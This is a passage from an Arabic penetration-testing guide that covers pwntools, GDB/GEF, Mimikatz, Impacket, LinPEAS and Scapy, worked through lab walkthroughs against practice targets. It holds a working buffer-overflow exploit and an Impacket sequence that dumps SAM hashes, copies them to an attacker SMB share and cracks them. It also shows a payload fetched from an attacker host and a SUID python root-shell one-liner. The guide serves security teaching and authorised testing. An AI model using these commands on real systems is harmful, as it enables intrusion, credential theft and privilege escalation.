مثال عملي: استغلال ثغرة فيض المخزن المؤقت (Buffer Overflow) باستخدام pwntools:

1. كود الاستغلال (exploit.py): يقوم هذا السكربت بالاتصال بالهدف، وإرسال حمولة خبيثة تتجاوز المخزن المؤقت (40 بايت) لتعيد توجيه تدفق البرنامج إلى دالة الفوز (admins_only).

```
from pwn import *
context.log_level = 'debug'
target_ip = '10.48.189.146'
target_port = 9003

print(f"[*] Connecting to {target_ip}:{target_port}...")
p = remote(target_ip, target_port)

win_addr = p64(0x401554)   # admins_only function
ret_gadget = p64(0x401016) # RET instruction for stack alignment

padding = b'A' * 40
payload = padding + ret_gadget + win_addr


p.recvuntil(b'Choose the channel')
p.sendline(b'3') # Select General

print("[*] Waiting for input prompt...")
p.recv(timeout=1)

print("[*] Sending Payload...")
p.sendline(payload)

p.interactive()
```

2. تنفيذ الاستغلال (Exploitation): عند تشغيل السكربت، نلاحظ في السجلات (DEBUG) أن الحمولة تم إرسالها، مما أدى إلى تجاوز الحماية والحصول على صلاحيات المسؤول (only Admins) وقراءة ملف العلم (flag.txt).

المخرجات:

```
 (yaser CyberBookio)-[~]
 $ python3 exploit.py
[*] Connecting to 10.48.189.146:9003...
[+] Opening connection to 10.48.189.146 on port 9003: Done
[DEBUG] Received 0x442 bytes:
    00000000  1b 5b 30 3b  33 34 6d e2  a3 bf e2 a3  bf e2 a3 bf   ·[0; 34m· ···· ····
    00000010  e2 a3 bf e2  a3 bf e2 a3  bf e2 a3 bf  e2 a3 bf e2   ···· ···· ···· ····
    ...
    00000430  6f 6f 73 65  20 74 68 65  20 63 68 61  6e 6e 65 6c   oose  the  cha nnel
    00000440  3a 20                                               :
    00000442
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[*] Waiting for input prompt...
[*] Sending Payload...
[DEBUG] Sent 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41   AAAA AAAA AAAA AAAA
    *
    00000020  41 41 41 41  41 41 41 41  16 10 40 00  00 00 00 00   AAAA AAAA ··@· ····
    00000030  54 15 40 00  00 00 00 00  0a                        T·@· ···· ·
    00000039
[*] Switching to interactive mode
[DEBUG] Received 0xa8 bytes:
    ...
    000000a0  70 77 6e 65  72 5d 3a 20                           pwne r]:
    000000a8

  General:

------[jopraveen]: Hello pwners
------[jopraveen]: Hope you're doing well
------[jopraveen]: You found the vuln, right?
```

```
------[pwner]: [DEBUG] Received 0x3b bytes:
    00000000  54 72 79 20  68 61 72 64  65 72 21 21  21 20 f0 9f  Try  hard er!! ! ··
    00000010  92 aa 0a 0a  f0 9f 91 ae  20 20 41 64  6d 69 6e 73  ···· ····   Ad mins
    00000020  20 6f 6e 6c  79 3a 0a 0a  57 65 6c 63  6f 6d 65 20   onl y:·· Welc ome
    00000030  61 64 6d 69  6e 20 f0 9f  98 84 0a                   admi n ·· ···
    0000003b
Try harder!!!

   Admins only:

Welcome admin
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x7 bytes:
    b'pwn103\n'
pwn103
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x19 bytes:
    b'flag.txt\n'
    b'pwn103\n'
    b'pwn103.c\n'
flag.txt
pwn103
pwn103.c
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x13 bytes:
```

```
    b'THM{w3lC0m3_4Dm1N}\n'
THM{w3lC0m3_4Dm1N}
$
```

تحميل: https://github.com/Gallopsled/pwntools

٦.٣ GDB (with Pwndbg/GEF)

إذا كانت pwntools هي الأداة الخارجية لتطوير الاستغلال، فإن GDB (GNU Debugger) هو الأداة الداخلية الأساسية لفحص البرنامج أثناء تنفيذه وتحليل سلوكه عند الانهيار. GDB بمفرده مصحح أخطاء (Debugger) قياسي وقوي، ولكنه مصمم أصلاً للمطورين وليس لمهندسي الأمن السيبراني ومطوري الاستغلالات.

هنا يأتي الدور الحاسم للإضافات المكتوبة بلغة Python مثل Pwndbg، GEF (GDB Enhanced Features)، أو Peda. هذه الإضافات لا تضيف ميزات جديدة بقدر ما تكشف ما يفعله GDB بطريقة بصرية وذات سياق أمني، حيث تحول واجهة GDB الطرفية من مجرد سطر أوامر بسيط إلى لوحة تحكم (dashboard) متكاملة تعرض بشكل متزامن:

- **التفكيك (Disassembly):** الكود البرمجي بلغة التجميع (Assembly) الذي يتم تنفيذه حالياً.
- **السجلات (Registers):** قيم السجلات الرئيسية مثل RIP مؤشر التعليمة (Instruction Pointer) و RSP مؤشر المكدس (Stack Pointer) في 64-bit، أو EIP و ESP في 32-bit.
- **المكدس (Stack):** عرض مرئي للقيم الموجودة على المكدس، مع تلوين مميز للعناوين أو السلاسل النصية.
- **الذاكرة (Heap):** أدوات متقدمة لتحليل هياكل الذاكرة الديناميكية.

الأهم من ذلك، أنها تضيف أوامر مخصصة لا غنى عنها لمطور الاستغلال، مثل checksec لفحص آليات الحماية المفعلة مثل ASLR, PIE, NX, Canaries، وأدوات للبحث عن الأدوات (ROP Gadgets)، وأوامر لتتبع تدفق البرنامج (Program Flow) خطوة بخطوة لفهم نقطة الانهيار بدقة. لا يمكن إجراء عملية تطوير استغلالات ثنائية (Binary Exploitation) حديثة بدون إحدى هذه الإضافات.

الخاصية	القيمة
مستوى المهارة المطلوب	خبير
أنظمة التشغيل	Linux, BSD, macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.3 (GDB), MIT (Pwndbg/GEF)

مثال عملي: كسر حماية برنامج (LiveOverflow) واستخراج مفتاح الترخيص من الذاكرة:

```
gdb -q ./license_1
```

شرح المثال: نقوم بعملية هندسة عكسية لبرنامج من مشروع LiveOverflow التعليمي بهدف كسر حمايته. البرنامج يعمل على معمارية ARM64، لذا نستخدم بيئة GEF لتحليل المسجلات (Registers) أثناء وقت التشغيل. عند إيقاف البرنامج عند دالة المقارنة strcmp، كشفت الذاكرة عن البيانات التالية بوضوح:

- **المسجل $x0:** يحتوي على سلسلة النصوص التي قمنا بإدخالها للتجربة (AAAAA-BBBBB-CCCCC).
- **المسجل $x1:** كشف عن الرقم السري الصحيح (AAAA-Z10N-42-OK) الذي كان البرنامج يحاول مقارنته بمدخلاتنا.

هذا يوضح كيف يمكن للمحلل الأمني استخراج المفاتيح والبيانات الحساسة مباشرة من الذاكرة الحية دون الحاجة لفك تشفير الخوارزميات المعقدة.

المخرجات:

```
  (yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
 $ gdb -q ./license_1
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3
Reading symbols from ./license_1...
(No debugging symbols found in ./license_1)
gef   entry
[*] PIC binary detected, retrieving text base address
[+] Breaking at entry-point: 0xaaaaaaaa0700
[ Legend: Modified register | Code | Heap | Stack | String ]

$x0   : 0x0000ffffff7fc1780  →   paciasp
$x1   : 0x0000ffffff7fff950  →  0x0000000000000000
$x2   : 0x0
$x3   : 0x0000ffffffffed68  →  0x0000ffffffffff139  →  "COLORFGBG=15;0"
$x4   : 0x0000ffffff7ff46c0  →  0x0000ffffff7fff370  →  0x0000aaaaaaaa0000  →   .inst 0x
```

```
$x5  : 0xcbfffffffff
$x6  : 0x300000000000000
$x7  : 0x0000fffff7ffc9b8  →  "glibc.cpu.aarch64_gcs"
$x8  : 0xd7
$x9  : 0x30
$x10 : 0x1dd5df
[ Legend: Modified register | Code | Heap | Stack | String ]

$x0  : 0x0000fffffffff127  →  "AAAAA-BBBBB-CCCCC"
$x1  : 0x0000aaaaaaaa08f8  →  "AAAA-Z10N-42-OK"
$x2  : 0x0000fffffffff127  →  "AAAAA-BBBBB-CCCCC"
$x3  : 0x0
$x4  : 0x0
$x5  : 0x0
$x6  : 0x0
$x7  : 0x1
$x8  : 0x40
$x9  : 0x0000fffff7ffdb28  →  0xf549f0e86b0aa800
$x10 : 0x0000fffff7df5250  →  0x000d0012000083bf
$x11 : 0x0
$x12 : 0x0000fffff7fff370  →  0x0000aaaaaaaa0000  →   .inst 0x464c457f ; undefined
$x13 : 0x0000ffffffffeb70  →  0x00000000fc000000
$x14 : 0x0
$x15 : 0x724e59
$x16 : 0x0000fffff7e7d800  →  <strcmp+0000> bti c
$x17 : 0x0000aaaaaaac0028  →  0x0000fffff7e7d800  →  <strcmp+0000> bti c
$x18 : 0xfff
$x19 : 0x0000ffffffffed48  →  0x0000fffffffff0d8  →  "/home/yaser/liveoverflow_youtub
$x20 : 0x2
$x21 : 0x0000aaaaaaabfdd0  →  0x0000aaaaaaaa07cc  →  <__do_global_dtors_aux+0000> pac
$x22 : 0x0000aaaaaaaa0828  →  <main+0000> stp x29,  x30,  [sp,  #-32]!
$x23 : 0x0000ffffffffed60  →  0x0000fffffffff139  →  "COLORFGBG=15;0"
```

```
$x24 : 0x0000fffff7ffdb30  →  0x0000000000000000
$x25 : 0x0
$x26 : 0x0000fffff7ffe000  →  0x0000fffff7fff370  →  0x0000aaaaaaaa0000  →   .inst 0x
$x27 : 0x0000aaaaaaabfdd0  →  0x0000aaaaaaaa07cc  →  <__do_global_dtors_aux+0000> pac
$x28 : 0x0
$x29 : 0x0000ffffffffebb0  →  0x0000ffffffffecd0  →  0x0000ffffffffece0  →  0x0000000
$x30 : 0x0000aaaaaaaa087c  →  <main+0054> cmp w0,  #0x0
$sp  : 0x0000ffffffffebb0  →  0x0000ffffffffecd0  →  0x0000ffffffffece0  →  0x0000000
$pc  : 0x0000fffff7e7d804  →  0xb200c3e8cb00002a ("*"?)
$cpsr: [NEGATIVE zero carry overflow interrupt endian fast t32 m[4]]
$fpsr: 0x0
$fpcr: 0x0

0x0000ffffffffebb0 +0x0000: 0x0000ffffffffecd0  →  0x0000ffffffffece0  →  0x000000000
0x0000ffffffffebb8 +0x0008: 0x0000fffff7e0229c  →   bl 0xfffff7e195c0 <exit>
0x0000ffffffffebc0 +0x0010: 0x0000ffffffffed48  →  0x0000fffffffff0d8  →  "/home/yaser
0x0000ffffffffebc8 +0x0018: 0x0000000200000000
0x0000ffffffffebd0 +0x0020: 0x0000ffffffffec60  →  0x0000000000000000
0x0000ffffffffebd8 +0x0028: 0x0000aaaaaaaa0828  →  <main+0000> stp x29,  x30,  [sp,  #
0x0000ffffffffebe0 +0x0030: 0x0000000200000000
0x0000ffffffffebe8 +0x0038: 0x0000ffffffffed48  →  0x0000fffffffff0d8  →  "/home/yaser

   0xfffff7e7d7f8                  nop
   0xfffff7e7d7fc                  nop
   0xfffff7e7d800 <strcmp+0000>    bti    c
→ 0xfffff7e7d804 <strcmp+0004>    sub    x10,  x1,  x0
   0xfffff7e7d808 <strcmp+0008>    mov    x8,  #0x101010101010101       // #723401728
   0xfffff7e7d80c <strcmp+000c>    and    x6,  x0,  #0x7
   0xfffff7e7d810 <strcmp+0010>    tst    x10,  #0x7
   0xfffff7e7d814 <strcmp+0014>    b.ne   0xfffff7e7d894 <strcmp+148>  // b.any
   0xfffff7e7d818 <strcmp+0018>    cbnz   x6,  0xfffff7e7d870 <strcmp+112>
```

```
[#0] Id 1, Name: "license_1", stopped 0xfffff7e7d804 in strcmp (), reason: BREAKPOINT

[#0] 0xfffff7e7d804 → strcmp()
[#1] 0xaaaaaaaa087c → main()

gef   x/s $x1
0xaaaaaaaaa08f8: "AAAA-Z10N-42-OK"
gef   q

  (yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
 $ ./license_1 AAAA-Z10N-42-OK
Checking License: AAAA-Z10N-42-OK
Access Granted!

  (yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
 $
```

تحميل: https://github.com/pwndbg/pwndbg

٧.٣ Mimikatz

تُعتبر Mimikatz الأداة الأسطورية والأكثر تأثيراً في عالم اختراق بيئات Windows، وهي المشروع الذي كشف وطوّر آليات هجومية غيّرت مشهد أمن Active Directory بالكامل. هذه الأداة، التي طورها الباحث الفرنسي Benjamin Delpy، مبنية على اكتشاف جوهري بعملية LSASS.exe خدمة النظام الفرعي لهيئة الأمان المحلية (Local Security Authority Subsystem Service) تحتفظ ببيانات الاعتماد في الذاكرة لتسهيل عمليات المصادقة (Authentication).

قدرة Mimikatz الأساسية والأكثر شهرة هي sekurlsa::logonpasswords، وهو الأمر الذي يقوم باستخراج بيانات الاعتماد (Credentials) هذه مباشرة من ذاكرة LSASS، كاشفاً عن كلمات المرور الصريحة (Cleartext Passwords) في الإصدارات القديمة من Windows أو عند تفعيل WDigest، وهاشات NTLM (Hashes)، وتذاكر Kerberos (Tickets) لجميع المستخدمين الذين قاموا بتسجيل الدخول إلى النظام.

لكن قوة الأداة الحقيقية لا تكمن في مجرد سرقة كلمة المرور، بل في تمكين هجمات ما بعد الاختراق (Post-Exploitation). Mimikatz هي الأداة التي قدمت للعالم هجمات مثل:

- **Pass-the-Hash:** استخدام هاش NTLM (Hash) للمصادقة على أنظمة أخرى في الشبكة دون الحاجة إلى معرفة كلمة المرور الصريحة.
- **Pass-the-Ticket:** اعتراض تذكرة Kerberos (Ticket) صالحة من الذاكرة واستخدامها للوصول إلى الخدمات نيابة عن المستخدم.
- **Golden Ticket:** الهجوم الأخطر على الإطلاق، حيث يتم بعد الحصول على هاش حساب KRBTGT إنشاء تذاكر Kerberos مزورة تمنح المهاجم صلاحيات مسؤول نطاق (Domain Admin) بشكل كامل ودائم على مستوى الغابة (Forest) بأكملها.

لهذه الأسباب، أصبحت Mimikatz الأداة المعيارية التي تستخدمها جميع فرق الاختراق المتقدمة (Red Teams)، وهي أيضاً الأداة التي تُبنى بسببها دفاعات Windows الحديثة مثل Credential Guard.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	CC BY 0.4

مميزات أداة Mimikatz

تحميل: https://github.com/gentilkiwi/mimikatz

٨.٣ Impacket

تُمثل Impacket العمود الفقري التقني لغالبية الأدوات المستخدمة في الهجمات الحديثة ضد بيئات Active Directory. هذه المكتبة (Library)، المكتوبة بالكامل بلغة Python والتي طورتها Fortra (سابقاً Core Security)، هي في الأساس مجموعة تطبيقات لبروتوكولات الشبكة (Network Protocols Implementation). تكمن عبقريتها في أنها تتيح لمختبر الاختراق، الذي يعمل غالباً من جهاز Linux، التفاعل بشكل كامل مع كافة بروتوكولات Microsoft المعقدة مثل SMB, MSRPC, LDAP, WMI, Kerberos, و NTLM.

قوة Impacket لا تكمن فقط في كونها مكتبة برمجية للمطورين، بل في مجموعة الأمثلة (examples) التي تأتي معها، والتي أصبحت هي الأدوات القياسية التي لا غنى عنها. من أشهر هذه الأدوات secretsdump.py، وهي الأداة

الحاسمة المستخدمة للاتصال بمتحكم المجال (Domain Controller) واستخراج قاعدة بيانات NTDS.dit بالكامل، والتي تحتوي على هاشات NTLM (Hashes) لجميع المستخدمين في النطاق (Domain)؛ وأداة psexec.py للتنفيذ الكلاسيكي لبروتوكول PsExec، مما يتيح تنفيذ الأوامر عن بُعد (Remote Code Execution) على الأنظمة وهو أسلوب تحرك جانبي (Lateral Movement) شهير؛ وأداة ntlmrelayx.py المتقدمة لتنفيذ هجمات ترحيل NTLM (NTLM Relay)، حيث تعترض محاولات المصادقة (Authentication) وتستخدمها للوصول إلى أنظمة أخرى؛ بالإضافة إلى مجموعة أدوات هجمات Kerberos مثل getST.py و GetNPUsers.py لتنفيذ هجمات مثل Kerberoasting و AS-REP Roasting.

لهذه الأسباب، تُعد Impacket الأداة الأساسية التي تمكن مختبري الاختراق من تنفيذ هجمات Pass-the-Hash، Pass-the-Ticket، واستغلال كافة الثغرات (Vulnerabilities) والتكوينات الخاطئة (Misconfigurations) المعروفة في بيئات Active Directory.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Impacket

مثال عملي: سرقة قاعدة بيانات كلمات المرور (SAM) وتهريبها عبر الشبكة لكسرها محلياً:

```
sudo impacket-smbserver LOOT ./exfil_data -smb2support -user test -password test
```

شرح المثال: في هذا السيناريو المتقدم، نستخدم تقنية "العيش على الأرض" (Living off the Land) لتجنب أدوات الحماية.

١. **الإعداد :(Setup)** نقوم بإنشاء خادم SMB وهمي على جهاز المهاجم لاستقبال الملفات المسروقة.

٢. **التنفيذ :(Execution)** نستخدم wmiexec.py للحصول على صدفة، ثم نستخدم أدوات ويندوز الأصلية (reg save) لنسخ ملفات SAM و SYSTEM الحساسة.

٣. **التهريب :(Exfiltration)** نقوم بنسخ الملفات المسروقة إلى خادمنا الوهمي باستخدام الأمر copy.

٤. **الكسر (Cracking):** بعد الحصول على الملفات، نستخدم secretsdump محلياً لاستخراج الهاشات، ثم نكسر كلمة المرور باستخدام john.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ mkdir exfil_data

  (yaser CyberBookio)-[~]
 $ sudo impacket-smbserver LOOT ./exfil_data -smb2support -user test -password test
[sudo] password for yaser:
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

  (yaser CyberBookio)-[~]
 $ impacket-wmiexec yaser:'Password123!'@10.49.149.163
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
jon-pc\yaser

C:\>hostname
Jon-PC

C:\>reg save HKLM\SAM C:\Windows\Temp\sam.save
The operation completed successfully.

C:\>reg save HKLM\SYSTEM C:\Windows\Temp\system.save
The operation completed successfully.
```

```
C:\>net use \\192.168.154.215\LOOT /user:test test
The command completed successfully.

C:\>copy C:\Windows\Temp\sam.save \\192.168.154.215\LOOT\sam.save
        1 file(s) copied.

C:\>copy C:\Windows\Temp\system.save \\192.168.154.215\LOOT\system.save
        1 file(s) copied.

C:\>exit
```

```
  (yaser CyberBookio)-[~/exfil_data]
 $ sudo impacket-secretsdump -sam sam.save -system system.save LOCAL
[sudo] password for yaser:
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x55bd17830e678f18a3110daf2c17d4c7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
yaser:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Cleaning up...

  (yaser CyberBookio)-[~/exfil_data]
 $ echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > jon.hash

  (yaser CyberBookio)-[~/exfil_data]
 $ john jon.hash --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
```

```
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22         (?)
1g 0:00:00:00 DONE (2025-12-03 15:44) 2.702g/s 27587Kp/s 27587Kc/s 27587KC/s alshanee
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

تحميل: https://github.com/fortra/impacket

٩.٣ LinPEAS / WinPEAS

نصل الآن إلى الأداة التي تعتبر المعيار الذهبي والأداة الأولى التي يفكر بها أي مختبر اختراق في مرحلة ما بعد الاستغلال (Post-Exploitation)، وهي مجموعة نصوص PEASS-ng (Scripts) التي طورها Carlos Polop. هذه الأدوات ليست أدوات استغلال بحد ذاتها، بل هي أدوات تعداد (Enumeration)، ومهمتها الوحيدة هي فحص النظام الهدف سواء LinPEAS لأنظمة Linux أو WinPEAS لأنظمة Windows للعثور على أي تكوين خاطئ (Misconfiguration) أو ثغرة يمكن أن تؤدي إلى تصعيد الامتيازات (Privilege Escalation).

قبل هذه الأدوات، كان على مختبر الاختراق تنفيذ عشرات الأوامر اليدوية بشكل ممل للبحث عن ملفات SUID، والمهام المجدولة (Cron Jobs)، والخدمات (Services) ذات الصلاحيات الخاطئة، وكلمات المرور المخزنة في ملفات التكوين (Configuration Files). جاءت هذه النصوص لأتمتة (Automation) هذه العملية بالكامل، حيث تقوم بفحص مئات النقاط المحتملة في ثوانٍ.

لكن القوة الحقيقية لهذه الأدوات لا تكمن فقط في الشمولية، بل في الميزة الأهم وهي الترميز اللوني (Color-Coded Output) للنتائج. فبدلاً من الغرق في آلاف الأسطر من المخرجات، تقوم الأداة بتمييز النتائج الخطيرة والحاسمة مثل كلمة مرور في ملف تكوين يمكن قراءته، أو ملف SUID غير معتاد باللون الأحمر والأصفر الزاهي. هذا التنسيق الملون يتيح للمختبر تحديد المسار المحتمل للتصعيد بشكل فوري تقريباً، مما يجعلها الأداة الأهم والأولى التي يتم تشغيلها على أي نظام يتم اختراقه بصلاحيات محدودة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows
التكلفة	مجاني
نوع الترخيص	MIT

مثال عملي: كشف مسارات تصعيد الامتيازات (Privilege Escalation) باستخدام LinPEAS:

```
wget http://192.168.154.215/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

شرح المثال: في هذا السيناريو، نحن داخل خادم ويب بصلاحيات محدودة (www-data). قمنا بتشغيل LinPEAS لفرز النظام. التقرير المطول أدناه يوضح كيف يغرق المحلل في المعلومات (الضجيج) وكيف يجب عليه البحث عن الإبرة في كومة القش. أهم الاكتشافات وسط هذا السجل الطويل:

- **البيئة :(Cloud)** الأداة اكتشفت أننا نعمل داخل بيئة AWS EC2.
- **الشبكة:** وجود منافذ مفتوحة داخلية.
- **الثغرة القاتلة :(SUID)** وسط آلاف الأسطر، ظهر ملف python2.7 باللون الأحمر، مما يعني أنه يملك صلاحية SUID.
- **الاستغلال:** استخدمنا هذه الثغرة لتشغيل سطر برمجي يمنحنا Root Shell فوراً.

المخرجات:

```
  (yaser CyberBookio)-[~/Downloads]
 $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.154.215] from (UNKNOWN) [10.49.160.166] 44560
Linux ip-10-49-160-166 5.15.0-139-generic #149~20.04.1-Ubuntu ...
 02:21:18 up 14 min,  0 users,  load average: 0.01, 0.07, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cd /tmp
$ wget http://192.168.154.215/linpeas.sh
...
2025-12-05 02:21:49 (2.91 MB/s) - 'linpeas.sh' saved [971926/971926]
```

```
$ chmod +x linpeas.sh
$ ./linpeas.sh

          LinPEAS-ng by carlospolop


                  Basic information


OS: Linux version 5.15.0-139-generic (buildd@lcy02-amd64-067) (gcc (Ubuntu 9.4.0-1ubu
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: ip-10-49-160-166
...

                  System Information


       Operative system
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04


       Sudo version
Sudo version 1.8.31
...
       Executing Linux Exploit Suggester
[+] [CVE-2022-0847] DirtyPipe
   Exposure: probable
   Tags: [ ubuntu=(20.04|21.04) ],debian=11

[+] [CVE-2021-4034] PwnKit
   Exposure: probable
...
```

Cloud

AWS EC2? ..... Yes

AWS EC2 Enumeration

```
ami-id: ami-0f269b85a27e0fb6b
instance-type: t3a.small
region: ap-south-1
...
```

Processes, Crons, Timers, Services and Sockets

Running processes (cleaned)

```
root           1  0.2  0.6 103908 12844 ?        Ss   02:06   0:02 /sbin/init auto
root         689  0.8  1.7 1848692 35164 ?       Ssl  02:07   0:07 /usr/lib/snapd/sna
root         789  0.0  0.9 193724 18012 ?        Ss   02:07   0:00 /usr/sbin/apache2
www-data     797  0.0  0.7 194180 14428 ?        S    02:07   0:00  _ /usr/sbin/apach
www-data    5100  0.3  0.1   3724  2940 ?        S    02:22   0:00  |           _ /bi
...
```

Network Information

Active Ports

```
tcp        0      0 0.0.0.0:22              0.0.0.0:* LISTEN
tcp6       0      0 :::80                   :::* LISTEN
...
```

Files with Interesting Permissions

SUID - Check easy privesc, exploits and write perms

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo

```
-rwsr-xr-x 1 root root 156K Jan 15  2025 /usr/lib/snapd/snap-confine
```

```
-rwsr-xr-x 1 root root 3.5M Dec  9  2024 /usr/bin/python2.7 (Unknown SUID binary!)
-rwsr-xr-x 1 root root 31K Feb 21  2022 /usr/bin/pkexec
-rwsr-xr-x 1 root root 163K Apr  4  2023 /usr/bin/sudo
...
        Interesting writable files owned by me or writable by everyone
/tmp
/tmp/linpeas.sh
/var/www/html/uploads/shell.php5
...
$ /usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root
cat /root/root.txt
THM{L1nux_Pr1vEsc_M4ster}
```

تحميل: https://github.com/carlospolop/PEASS-ng

١٠.٣ Scapy

Scapy تقع في قلب هندسة بروتوكولات الشبكة هي ليست مجرد أداة لالتقاط الحزم (Packet Capture) مثل Wireshark، وليست ماسحاً بمهام محددة مثل Nmap. بل هي مشرط جراحي دقيق، عبارة عن مكتبة وإطار عمل تفاعلي (Interactive Framework) مكتوب بلغة Python، يمنح المستخدم القدرة الكاملة على صياغة (Packet Forging) الحزم (Packets) من الصفر.

تكمن قوة Scapy التي طورها Philippe Biondi في قدرتها على التعامل مع طبقات البروتوكول (Protocol Layers) ككائنات Python (Objects) بسيطة. فبدلاً من التعامل مع حقول offset و bytes معقدة، يمكنك بناء حزمة TCP SYN ببساطة عن طريق كتابة IP(dst="target")/TCP(flags="S"). هذا التجريد (Abstraction) القوي هو ما يفتح الباب أمام إمكانيات لا نهائية.

لماذا هذا مهم؟ لأنه يتيح لك إرسال حزم شاذة أو مشوهة (Malformed Packets) عمداً، وهو أمر مستحيل تقريباً باستخدام أدوات الشبكة القياسية التي تلتزم بمعايير RFC. يمكنك استخدام Scapy لتطوير هجمات شبكية مخصصة (Custom Network Attacks)، أو إجراء عمليات مسح متخفية (Stealth Scanning)، أو تنفيذ هجمات Fuzzing ضد بروتوكولات الشبكة لاكتشاف ثغرات جديدة، أو حتى أتمتة مهام تحليل الشبكات (Network Analysis) المعقدة. الواجهة التفاعلية (Interactive Interface) الخاصة بها تتيح للباحث تجربة الأفكار وإرسال الحزم ورؤية الردود

بشكل فوري، مما يجعلها الأداة المفضلة لتطوير استغلالات الشبكات (Network Exploits) واختبار أمن البروتوكولات (Protocol Security Testing).

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.2

مميزات أداة Scapy

مثال عملي: بناء حزم (TCP) مخصصة واختبار قواعد جدار الحماية باستخدام Scapy:

```
sudo scapy
```

شرح المثال: في هذا السيناريو، نستخدم Scapy كأداة يدوية لبناء الحزم بدلاً من الأدوات الآلية.

١. **فحص المنفذ (SYN Scan):** قمنا ببناء حزمة IP/TCP موجهة للمنفذ 22 مع تفعيل علم SYN. الاستجابة كانت SA (أي SYN-ACK)، مما يؤكد أن المنفذ مفتوح.

٢. **اختبار الجدار الناري (Firewall Test):** أرسلنا حزمة ACK مفاجئة (بدون مصافحة مسبقة). استجابة الهدف بعلم R (أي RST - Reset) تعني أن هناك آلية (نظام التشغيل أو الجدار الناري) تراقب حالة الاتصال (Stateful) ورفضت الحزمة الدخيلة.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo scapy
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

                     aSPY//YASa
              apyyyyCY//////////YCa       |
             sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
```

```
 ayp ayyyyyyySCP//Pp           syY//C    | Version 2.6.1
 AYAsAYYYYYYY///Ps              cY//S    |
         pCCCCY//p          cSSps y//Y    | https://github.com/secdev/scapy
         SPPPP///a          pP///AC//Y    |
              A//A            cyP////C    | Have fun!
              p///Ac            sC///a    |
              P////YCpc           A//A    | Craft packets before they craft
       scccccp///pSP///p          p//Y    | you.
      sY/////////y  caa           S//P    |                    -- Socrate
       cayCyayP//Ya              pY/Ya    |
        sY/PsY////YCc           aC//Yp
         sc  sccaCY//PCypaapyCP//YSs
               spCPY//////YPSps
                    ccaacs
                                       using IPython 8.35.0
>>> target = "10.49.180.204"
>>> packet = IP(dst=target)/TCP(sport=53, dport=22, flags="S")
>>> response = sr1(packet, timeout=5)
Begin emission
Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> response[TCP].flags
<Flag 18 (SA)>
>>> response[IP].ttl
62
>>> ack_test = sr1(IP(dst=target)/TCP(sport=53, dport=22, flags="A"), timeout=2)
Begin emission
Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> if ack_test:
```

```
...:       print(f"Response Flags: {ack_test[TCP].flags}")
...: else:
...:       print("No response (Stateful Firewall Detected)")
...:
Response Flags: R
```

تحميل: https://scapy.net

خاتمة القسم: الاستغلال واختبار الاختراق

